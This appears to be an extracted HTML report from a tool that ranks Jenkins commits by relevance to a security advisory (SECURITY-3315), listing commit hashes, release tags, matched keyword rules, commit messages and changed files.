      Unrestrict FilePath.isDescendant (#8913) * Unrestrict FilePath.isDescendant I needed this and noticed that it was still restricted. * Fix spotless Signed-off-by: Alexander Brandes <mc.cache@web.de> --------- Signed-off-by: Alexander Brandes <mc.cache@web.de> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/FilePath.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [SECURITY-3315] - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.426.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6b2e962047d6a240313286ee8580a5010383aea0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: CLI
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [SECURITY-3315]
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/cli/CLIAction.java - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update operating system end of life data (#8864) Add end of life... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 72eb26a63b6af8d99c26194608f7bae809c398ff -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read, system
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: system
      -
    • - -
    • -
      The commit message references some github issue: 8864
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update operating system end of life data (#8864) Add end of life data for several more Linux releases Adds data for: * Alpine Linux 3.19 * Amazon Linux 2 (already end of life for Jenkins) * Amazon Linux 2023 * Fedora 39 Includes test data for more Linux operating systems that were already included in the end of life data.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/monitor/OperatingSystemEndOfLifeAdminMonitor.java - - core/src/main/resources/jenkins/monitor/OperatingSystemEndOfLifeAdminMonitor/end-of-life-data.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove unused material-icons (#8831) * Update the icon path in... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.441 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - faf22cdb401bea57f48c45f2e62239c41e068c37 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: path
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: content
      -
    • - -
    • -
      The commit message references some github issue: 8831
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove unused material-icons (#8831) * Update the icon path in SvgIconTest * Remove unused material-icons
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/src/main/webapp/images/material-icons/computer-24px.svg - - war/src/main/webapp/images/material-icons/edit.svg - - war/src/main/webapp/images/material-icons/feed.svg - - war/src/main/webapp/images/material-icons/rss_feed-24px.svg - - war/src/main/webapp/images/material-icons/svg-sprite-action-symbol.svg - - war/src/main/webapp/images/material-icons/svg-sprite-content-symbol.svg - - war/src/main/webapp/images/material-icons/svg-sprite-navigation-symbol.svg - - war/src/main/webapp/images/material-icons/svg-sprite-social-symbol.svg - - war/src/main/webapp/images/material-icons/view_headline-24px.svg - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8843 from... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.426.3 -
    -
    -
    -
    -
    - - - - RELEVANT_WORDS_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 96dc95a55e9cd10874481ec7b6390a09413ecee6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some relevant words: LTS
      -
    • - -
    • -
      The commit message references some github issue: 8843
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8843 from krisstern/feat/stable-2.426/backporting-2.426.3-1 Backporting LTS 2.426.3
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Use spotbugs 4.8.2 with more exclusions (#8803) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 81c3249ca0e6bcc69e1caa2e6828ec6c8c0884cd -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: CLI
      -
    • - -
    • -
      The commit message references some github issue: 8803
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Use spotbugs 4.8.2 with more exclusions (#8803)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/spotbugs/excludesFilter.xml - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update Freestyle project description (#8795) * Update Freestyle... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3e04c2ac3d20207279ec246ce6385a0d3652ac3f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: CLI
      -
    • - -
    • -
      The commit message references some github issue: 8795
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update Freestyle project description (#8795) * Update Freestyle project description * Fix typo * Fix another typo --------- Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/model/Messages.properties - - core/src/main/resources/hudson/model/Messages_bg.properties - - core/src/main/resources/hudson/model/Messages_ca.properties - - core/src/main/resources/hudson/model/Messages_cs.properties - - core/src/main/resources/hudson/model/Messages_da.properties - - core/src/main/resources/hudson/model/Messages_de.properties - - core/src/main/resources/hudson/model/Messages_es.properties - - core/src/main/resources/hudson/model/Messages_et.properties - - core/src/main/resources/hudson/model/Messages_fi.properties - - core/src/main/resources/hudson/model/Messages_fr.properties - - core/src/main/resources/hudson/model/Messages_it.properties - - core/src/main/resources/hudson/model/Messages_ja.properties - - core/src/main/resources/hudson/model/Messages_ko.properties - - core/src/main/resources/hudson/model/Messages_lt.properties - - core/src/main/resources/hudson/model/Messages_nb_NO.properties - - core/src/main/resources/hudson/model/Messages_nl.properties - - core/src/main/resources/hudson/model/Messages_pl.properties - - core/src/main/resources/hudson/model/Messages_pt_BR.properties - - core/src/main/resources/hudson/model/Messages_pt_PT.properties - - core/src/main/resources/hudson/model/Messages_ro.properties - - core/src/main/resources/hudson/model/Messages_ru.properties - - core/src/main/resources/hudson/model/Messages_sv_SE.properties - - core/src/main/resources/hudson/model/Messages_tr.properties - - core/src/main/resources/hudson/model/Messages_uk.properties - - core/src/main/resources/hudson/model/Messages_zh_TW.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fix import used for Javadoc (#8790) Co-authored-by: Daniel Beck... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 044c071235f0a64fb8390e784c7e1abb52aecb05 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: CLI
      -
    • - -
    • -
      The commit message references some github issue: 8790
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Fix import used for Javadoc (#8790) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/cli/declarative/CLIMethod.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add telemetry for basic Java system properties (#8787) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b0cec677280708bbfafd3eb5eaa2bc98b241fc07 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: system
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: system
      -
    • - -
    • -
      The commit message references some github issue: 8787
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add telemetry for basic Java system properties (#8787)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/telemetry/impl/JavaSystemProperties.java - - core/src/main/resources/hudson/model/UsageStatistics/help-usageStatisticsCollected.jelly - - core/src/main/resources/jenkins/telemetry/impl/JavaSystemProperties/description.jelly - - core/src/main/resources/jenkins/telemetry/impl/JavaSystemProperties/description.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72252] Warn 12 months and 3 months before end of Java... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: jenkins-2.426.2 -
    -
    -
    -
    -
    - - - - RELEVANT_WORDS_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a190edf08212d87fc1ed238e96ed64f529abdefa -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some relevant words: LTS
      -
    • - -
    • -
      The commit message references some github issue: 8661
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72252] Warn 12 months and 3 months before end of Java support (#8661) Show Java version admin monitor at 12 months and 3 months Daniel Beck described his recommendation to alert users at 12 months and at 3 months prior to the end of support of a Java version. He wrote: > The second warning in particular needs to strike a balance between > being shown late enough so it's actually relevant for whoever hasn't > acted yet, while being shown early enough that slightly more elaborate > environments (difficult to schedule maintenance windows) are informed > in time. 3 months aligns rather nicely with the LTS schedule where > we kinda expect folks to do that anyway. > > 18/9, or even 12/6 errs too far on the side of those for whom this is > extreme effort (and who dismissed the first message more appropriate for > their environment!), while showing everyone else completely irrelevant > notices they won't care about for many months to come. https://github.com/jenkinsci/jep/pull/400#discussion_r1371510566 provides more details. The Java 8 to Java 11 transition saw a significant change in adoption of Java 11 once the admin monitor was visible to users. That was shown slightly over 12 months before the release that required Java 11. This change continues that pattern of 12 months warning before end of support. https://github.com/jenkinsci/jep/pull/400#discussion_r1375623888 has a graph that shows the adoption curves for Java 8, Java 11, and Java 17. (cherry picked from commit aeb64c0c3d097131b3f59d7fe9d1cce1f41de336)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/monitor/JavaVersionRecommendationAdminMonitor.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Don't animate admin monitor popup on page load, properly remove... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: jenkins-2.440.1 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4089150245288c2fd8c1036ea4b4d597ef995d88 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: follow
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 8941, 8954
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Don't animate admin monitor popup on page load, properly remove interactable UI elements (#8954) * followup for #8941, don't animate on page load PR #8941 caused a regression that the hiding animation was played on page load. This change ensures that the hiding animation is only applied when the widget was visible before * scale to 0 (cherry picked from commit e5fd9127b73b640cd639695cbbcb59d985f836c0)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css - - core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.js - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [SECURITY-3315] (cherry picked from commit... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: jenkins-2.440.1 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 77c2115fa87457d6f744695b27a397a353c27a06 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: CLI
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [SECURITY-3315] (cherry picked from commit de450967f38398169650b55c002f1229a3fcdb1b)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/cli/CLIAction.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add help text for Markup Formatter setting (#9038) * Restore help... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1da7c9cb68b607d9a560974430c80e3f823c3e64 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: argument
      -
    • - -
    • -
      The commit message references some github issue: 9038
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add help text for Markup Formatter setting (#9038) * Restore help text for Markup Formatter setting * Update core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-markupFormatter.html Co-authored-by: Mark Waite <mark.earl.waite@gmail.com> * mvn -pl war frontend:yarn -Dfrontend.yarn.arguments=lint:fix --------- Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com> Co-authored-by: Mark Waite <mark.earl.waite@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-markupFormatter.html - - core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter.html - - core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_bg.html - - core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_it.html - - core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_ja.html - - core/src/main/resources/jenkins/model/Jenkins/help-markupFormatter_zh_TW.html - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72796] stable context classloader for... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 89195cc248eb973dae4212d613914d616805bc1d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read, system
      -
    • - -
    • -
      The commit message references some github issue: 9012
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72796] stable context classloader for Computer.threadPoolForRemoting (#9012) * [JENKINS-72796] stable context classloader for Computer.threadPoolForRemoting Whilst the threadpool used reset the context classloader at the end of any task, it did not ensure that the initial c;lassloader used was anything sepcific, rather it would use whatever the calling threads contextClassLoader was. This is now fixed as we use the Jenkins WebApp classloader (same as the Timer) which is used by (A)PeriodicTasks. Whilst we should really not have a context classloader (aka null) and this should be set where needed by code, almost everywhere in Jenkins the context classloader is already the webapp classloader, and so setting this to be different depending on how things where called would seemingly be a little scary. Arguably this and other context classloaders should be all set to null and any code that wants different should be changed, but this is a larger piece of work that would have potential impact on an unknown number of plugins in the ecosystem, so this fix uses what was set > 90% of the time. * Update core/src/test/java/hudson/model/ComputerTest.java --------- Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Computer.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72799] Apply `SlaveComputer.decorate` also to `openLogFile` (#9009) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c7ccbfdde15511b29b0b649b62b1d9fec09284dd -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      The commit message references some github issue: 9009
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72799] Apply `SlaveComputer.decorate` also to `openLogFile` (#9009)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/slaves/SlaveComputer.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove usages of `ArrayUtils` (#9001) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 77731ddea9a0e8f76fb87a4c0fd3a27e745ef3c6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: parser
      -
    • - -
    • -
      The commit message references some github issue: 9001
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove usages of `ArrayUtils` (#9001)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Run.java - - core/src/main/java/hudson/util/MultipartFormDataParser.java - - core/src/main/java/hudson/util/Protector.java - - core/src/main/java/jenkins/security/ResourceDomainRootAction.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Replace pipeline-stage-view with graph-view in the setup wizard... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 02c99cb3de4af5f41b4a12df84d16e9917cf8db8 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: replace
      -
    • - -
    • -
      The commit message references some github issue: 8884
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Replace pipeline-stage-view with graph-view in the setup wizard (#8884) Signed-off-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/jenkins/install/platform-plugins.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72759] fix handling of readonly for select without parent... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a174f985d4574f9056afd497694456ee0988a975 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read
      -
    • - -
    • -
      The commit message references some github issue: 8984
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72759] fix handling of readonly for select without parent div (#8984) [JENKINS-72759] fix handling of readonly for selects when no parent div is present that has .jenkins-select we get a null element and the script runs into an error.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/lib/form/select/select.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Null out `ProxyConfiguration.userName` on save (#8990) * Null out... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.448 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d42e0786a4e2cf90fbec11c1009578d994c7deee -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read
      -
    • - -
    • -
      The commit message references some github issue: 8990
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Null out `ProxyConfiguration.userName` on save (#8990) * Null out `ProxyConfiguration.userName` on save * Since we already have a `readResolve`, may as well use it to clean up historical `userName` of `""` https://github.com/jenkinsci/jenkins/pull/8990#discussion_r1502295510 * Linking to new JDK-8326949
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/ProxyConfiguration.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - use symbol for parameters in build history of pending jobs (#8977)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.447 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 885978daf0b218e4956f3df262b96a9234c421ae -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: replace
      -
    • - -
    • -
      The commit message references some github issue: 8977
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      use symbol for parameters in build history of pending jobs (#8977) use symbol for parameters in build history replace the notepad icon in the build history for pending jobs with the symbol for parameters Remove the wrapper in a link that does nothing except altering the location
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-69113] renovate progressBar (#8821) * [JENKINS-69113]... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.446 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5304da10a6f24088a56c4a00e1d3c7058c7b63fa -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: replace, read
      -
    • - -
    • -
      The commit message references some github issue: 8821
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-69113] renovate progressBar (#8821) * [JENKINS-69113] renovate progressBar The progressbar used at various places is replaced by a div/span compbination and gets a new styling that is in sync with other ui elements. Mainly it has rounded corners. The bar is always animated opposed to old behaviour where it was only animated when the estimated remaining time was unknown. Animation is now based on css and no longer a gif. All colors are defined via variables so they can be adjusted by themes. The build progress bar shown on run and console views is now updated dynamically. The progress bar used in progressive rendering is doubled in size to make it more prominent that it is still running (See [JENKINS-72138], this doesn't solve the problem but might lower the chance that people reload the mentioned page because they think nothing happens). * apply prettier * scss style * set status url the parameters page also includes the buildCaption.jelly. But the js is using a relative url thus accessing `statusIcon` fails. Store status url in the div and read from there. * apply behaviour so tooltip is shown after icon update fix url * incorporate feedback use existing colors only animate when unknown or with flag animate via build caption and progressive rendering * adjust class name * adjust bg color * fix style * sRGB * avoid j:out --------- Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/model/Run/statusIcon.jelly - - core/src/main/resources/hudson/model/UpdateCenter/DownloadJob/Installing/status.jelly - - core/src/main/resources/lib/hudson/build-caption.js - - core/src/main/resources/lib/hudson/buildCaption.jelly - - core/src/main/resources/lib/hudson/buildProgressBar.jelly - - core/src/main/resources/lib/hudson/buildProgressBar.properties - - core/src/main/resources/lib/hudson/buildProgressBar_bg.properties - - core/src/main/resources/lib/hudson/buildProgressBar_ca.properties - - core/src/main/resources/lib/hudson/buildProgressBar_cs.properties - - core/src/main/resources/lib/hudson/buildProgressBar_da.properties - - core/src/main/resources/lib/hudson/buildProgressBar_de.properties - - core/src/main/resources/lib/hudson/buildProgressBar_el.properties - - core/src/main/resources/lib/hudson/buildProgressBar_es.properties - - core/src/main/resources/lib/hudson/buildProgressBar_es_AR.properties - - core/src/main/resources/lib/hudson/buildProgressBar_et.properties - - core/src/main/resources/lib/hudson/buildProgressBar_fi.properties - - core/src/main/resources/lib/hudson/buildProgressBar_fr.properties - - core/src/main/resources/lib/hudson/buildProgressBar_he.properties - - core/src/main/resources/lib/hudson/buildProgressBar_hu.properties - - core/src/main/resources/lib/hudson/buildProgressBar_it.properties - - core/src/main/resources/lib/hudson/buildProgressBar_ja.properties - - core/src/main/resources/lib/hudson/buildProgressBar_ko.properties - - core/src/main/resources/lib/hudson/buildProgressBar_lt.properties - - core/src/main/resources/lib/hudson/buildProgressBar_lv.properties - - core/src/main/resources/lib/hudson/buildProgressBar_nb_NO.properties - - core/src/main/resources/lib/hudson/buildProgressBar_nl.properties - - core/src/main/resources/lib/hudson/buildProgressBar_pl.properties - - core/src/main/resources/lib/hudson/buildProgressBar_pt_BR.properties - - core/src/main/resources/lib/hudson/buildProgressBar_pt_PT.properties - - core/src/main/resources/lib/hudson/buildProgressBar_ro.properties - - core/src/main/resources/lib/hudson/buildProgressBar_ru.properties - - core/src/main/resources/lib/hudson/buildProgressBar_sk.properties - - core/src/main/resources/lib/hudson/buildProgressBar_sl.properties - - core/src/main/resources/lib/hudson/buildProgressBar_sr.properties - - core/src/main/resources/lib/hudson/buildProgressBar_sv_SE.properties - - core/src/main/resources/lib/hudson/buildProgressBar_tr.properties - - core/src/main/resources/lib/hudson/buildProgressBar_zh_TW.properties - - core/src/main/resources/lib/hudson/progressBar.jelly - - core/src/main/resources/lib/layout/progressiveRendering.jelly - - core/src/main/resources/lib/layout/progressiveRendering/progressiveRendering.js - - war/src/main/scss/components/_index.scss - - war/src/main/scss/components/_progress-bar.scss - - war/src/main/webapp/scripts/hudson-behavior.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Allow update sites to define a custom URL for wizard plugin... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.446 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 824f64c23e52e5c765cc7604414740aab3436f8d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: allow, system
      -
    • - -
    • -
      The commit message references some github issue: 8951
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Allow update sites to define a custom URL for wizard plugin suggestion (#8951) * currently suggested plugins list as setup time is hardcoded, we can make it configurable Signed-off-by: Olivier Lamy <olamy@apache.org> * add new method to UpdateSite to avoid using System property Signed-off-by: Olivier Lamy <olamy@apache.org> * Update core/src/main/java/hudson/model/UpdateSite.java Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com> --------- Signed-off-by: Olivier Lamy <olamy@apache.org> Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/UpdateSite.java - - core/src/main/java/jenkins/install/SetupWizard.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - readonly mode for f:select (#8955) * readonly mode for f:select when... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.446 -
    -
    -
    -
    -
